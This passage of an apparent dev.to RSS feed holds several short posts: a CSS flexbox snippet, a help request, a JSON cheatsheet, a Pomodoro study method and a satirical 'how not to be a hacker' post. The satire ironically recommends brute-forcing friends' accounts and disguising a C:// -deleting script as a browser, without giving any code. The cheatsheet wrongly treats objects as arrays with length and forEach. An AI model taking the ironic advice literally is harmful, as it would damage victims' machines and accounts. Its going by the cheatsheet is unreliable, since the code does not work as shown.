    &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="no"&gt;black&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; 

&lt;span class="nc"&gt;.child&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="no"&gt;black&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fit-content&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.child&lt;/span&gt;&lt;span class="nd"&gt;:not&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;:first-child&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;margin-left&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="err"&gt;*/&lt;/span&gt; &lt;span class="err"&gt;Gaps&lt;/span&gt; &lt;span class="err"&gt;size&lt;/span&gt; &lt;span class="err"&gt;/&lt;/span&gt; &lt;span class="err"&gt;2&lt;/span&gt; &lt;span class="err"&gt;*/&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.child&lt;/span&gt;&lt;span class="nd"&gt;:not&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;:last-child&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;margin-right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="err"&gt;*/&lt;/span&gt; &lt;span class="err"&gt;Gaps&lt;/span&gt; &lt;span class="err"&gt;size&lt;/span&gt; &lt;span class="err"&gt;/&lt;/span&gt; &lt;span class="err"&gt;2&lt;/span&gt; &lt;span class="err"&gt;*/&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And here's the result:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Wrh_VbW8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2y1s7uti0o3y737wi367.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Wrh_VbW8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2y1s7uti0o3y737wi367.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>css</category>
      <category>flexbox</category>
      <category>tips</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Need HELP Building Node.Js App</title>
      <dc:creator>manushifva</dc:creator>
      <pubDate>Fri, 23 Jul 2021 11:05:46 +0000</pubDate>
      <link>https://dev.to/manushifva/need-help-building-node-js-app-36kh</link>
      <guid>https://dev.to/manushifva/need-help-building-node-js-app-36kh</guid>
      <description>&lt;p&gt;I've build a node.js app now, but i need some help, 'coz i can't handle it alone. &lt;/p&gt;

&lt;p&gt;Requitments:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Express and MongoDB skill.&lt;/li&gt;
&lt;li&gt;Github account&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you can help me, and fulfill the requirements, i will give this to you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A PHP hosting for 6 month (until Desember 2021, domain not include)&lt;/li&gt;
&lt;li&gt;Infinity mode in the app (the app is free, but you can upgrade it by paying)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you interested, you can contact me at &lt;a href="mailto:manu@bagikode.com"&gt;manu@bagikode.com&lt;/a&gt;, with "Work Together" as subject. &lt;/p&gt;

&lt;p&gt;Cheers!&lt;/p&gt;

</description>
      <category>help</category>
      <category>discuss</category>
    </item>
    <item>
      <title>JSON + Javascript Cheatsheet.</title>
      <dc:creator>manushifva</dc:creator>
      <pubDate>Sat, 17 Jul 2021 02:55:30 +0000</pubDate>
      <link>https://dev.to/manushifva/json-javascript-cheatsheet-p7l</link>
      <guid>https://dev.to/manushifva/json-javascript-cheatsheet-p7l</guid>
      <description>&lt;h2&gt;
  
  
  Content
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Convert array to JSON&lt;/li&gt;
&lt;li&gt;Parse JSON (convert from JSON to array)&lt;/li&gt;
&lt;li&gt;Count JSON array length&lt;/li&gt;
&lt;li&gt;Do loop with JSON array&lt;/li&gt;
&lt;li&gt;Get data from JSON array&lt;/li&gt;
&lt;li&gt;Add item to JSON array&lt;/li&gt;
&lt;li&gt;Remove item from JSON array&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Convert array to JSON &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myArr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;key2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;value2&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myJSON&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;myArr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"key":"value","key2":"value2"}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Parse JSON (convert from JSON to array) &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myJSON&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"key":"value","key2":"value2"}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myArr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;myJSON&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;key2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;value2&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Count JSON array length &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myJSON&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"key":"value","key2":"value2"}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myArr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;myJSON&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;jsonLength&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;myArr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Do loop with JSON array &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myJSON&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"key":"value","key2":"value2"}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myArr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;myJSON&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;myArr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;nowItem&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Do things here&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Get data from JSON array &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myJSON&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"key":"value","key2":"value2"}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myArr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;myJSON&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;myArr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;key2&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;value2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Add item to JSON array &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myJSON&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"key":"value","key2":"value2"}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myArr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;myJSON&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;myArr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;key3&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;value3&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;myArr result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;value&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
    &lt;span class="nx"&gt;key2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;value2&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
    &lt;span class="nx"&gt;key3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;value3&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Remove item from JSON array &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myJSON&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"key":"value","key2":"value2"}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;myArr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;myJSON&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="nx"&gt;myArr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;key2&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;myArr result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;key&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;value&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>javascript</category>
      <category>json</category>
      <category>cheatsheet</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Learn Coding With Pomodoro Technique</title>
      <dc:creator>manushifva</dc:creator>
      <pubDate>Fri, 16 Jul 2021 06:15:29 +0000</pubDate>
      <link>https://dev.to/manushifva/learn-coding-with-pomodoro-technique-4hdl</link>
      <guid>https://dev.to/manushifva/learn-coding-with-pomodoro-technique-4hdl</guid>
      <description>&lt;p&gt;Pomodoro. Have you heard it? The Pomodoro Technique is a time management method developed by Francesco Cirillo in the late 1980s. The technique uses a timer to break down work into intervals, traditionally 25 minutes in length, separated by short breaks. Each interval is known as a pomodoro, from the Italian word for 'tomato', after the tomato-shaped kitchen timer that Cirillo used as a university student.&lt;/p&gt;

&lt;p&gt;And, here it's a practice example: &lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zbPIuKDU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o4dxkb4n16mu4mfqd0h2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zbPIuKDU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o4dxkb4n16mu4mfqd0h2.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, based on this technique, i modify a bit to help you learn coding. So let's start. &lt;/p&gt;

&lt;h2&gt;
  
  
  What all you need
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;one project concept.&lt;/li&gt;
&lt;li&gt;code editor.&lt;/li&gt;
&lt;li&gt;any timer, you can use analog or digital. &lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The rule
&lt;/h2&gt;

&lt;p&gt;So, here it's the rule. I have classify this technique with 3 steps. First, read. Second, write. Last, read+write. &lt;/p&gt;

&lt;p&gt;Read&lt;br&gt;
At first, we read all documentation that we need. In this step, you are prohibited from doing any coding stuff, you also prohibited to note anything from the documentation that you read. This step duration is 5 minutes. &lt;/p&gt;

&lt;p&gt;Write&lt;br&gt;
After read the documentations, you need to write the code now. In this step, you are prohibited to read any type of documentation. This step duration is 10 minutes. &lt;/p&gt;

&lt;p&gt;Read + Write&lt;br&gt;
Lastly, in this step, you can read documentations and write the code at the same time. You can correct your wrong code, or write the forgotten syntax. This step duration is 10 minutes. After this step, you can take a short break (5-10 minutes).&lt;/p&gt;

&lt;p&gt;You can do that 3 steps for some cycles. So here it's the technique conclusion:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;read 5 minutes&lt;/li&gt;
&lt;li&gt;write 10 minutes&lt;/li&gt;
&lt;li&gt;read+write 10 minutes &lt;/li&gt;
&lt;li&gt;break 5-10 minutes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This technique help me 2x faster to learn a new language. That's all, Thanks for reading! &lt;/p&gt;

</description>
      <category>beginners</category>
      <category>watercooler</category>
      <category>learn</category>
    </item>
    <item>
      <title>Learn Hacking as Noob</title>
      <dc:creator>manushifva</dc:creator>
      <pubDate>Wed, 14 Jul 2021 08:17:34 +0000</pubDate>
      <link>https://dev.to/manushifva/learn-hacking-as-noob-4fp5</link>
      <guid>https://dev.to/manushifva/learn-hacking-as-noob-4fp5</guid>
      <description>&lt;p&gt;"how to hack facebook account". That was a query that i type in the Google Search. After press enter, i open one of the million results. "You need to clone this and that repos, install many proggraming languages, and more things ..." said that article. Ah, this is too complicated. But, for hacking my friend's Facebook account, i must do this. &lt;/p&gt;

&lt;p&gt;After learn computer programming for a few years, I realized that I had been duped by the article. The script is only filled with colored &lt;code&gt;print&lt;/code&gt; and &lt;code&gt;input&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;At this post, i will teach you how to &lt;em&gt;not&lt;/em&gt; be a hacker based on my experience. Enjoy! &lt;/p&gt;

&lt;h2&gt;
  
  
  Install Termux.
&lt;/h2&gt;

&lt;p&gt;What we all need to hack something is Termux. You can hack anything, Google, Facebook, and even, NASA! &lt;/p&gt;

&lt;h2&gt;
  
  
  Install many repos, proggramming languages, tools, and wordlist.
&lt;/h2&gt;

&lt;p&gt;You need 10GB wordlists, hundreds tools, and many proggramming languages, for do a hack. Does not matter how much storage is used.&lt;/p&gt;

&lt;h2&gt;
  
  
  Run all command that you get from internet, without checking.
&lt;/h2&gt;

&lt;p&gt;Always trust anything that you get from internet. They are professional proggrammer, hacker, and system administrator.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hack your friend's social media accounts
&lt;/h2&gt;

&lt;p&gt;As the hacker, you must hack your friend's account. The best method is bruteforce, even if it takes millions of years. &lt;/p&gt;

&lt;h2&gt;
  
  
  Copy script from internet, and add your name on it
&lt;/h2&gt;

&lt;p&gt;Why we don't do this? This is not a crime. People who call us "script kiddies" 'cuz they are so jealous to us.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prank your friends and family with Window Virus
&lt;/h2&gt;

&lt;p&gt;You can make a simple script that can remove the &lt;code&gt;C://&lt;/code&gt; directory, and mask the script like browser, so, when they access the "browser", they will erase theor &lt;code&gt;C://&lt;/code&gt; directory, and destroy their PC, with their important works. Funny, right?&lt;/p&gt;

&lt;h2&gt;
  
  
  Install Kali Linux on all your PC
&lt;/h2&gt;

&lt;p&gt;Kali Linux is best Linux disto in the world. It can hack anything, and all hackers use this. So, we need to use this Kali Linux, even though we don't know how to do simple tasks in this distro, like connecting to a network.&lt;/p&gt;

&lt;p&gt;Thats all.&lt;/p&gt;

&lt;p&gt;Thanks for reading, and Bye!&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
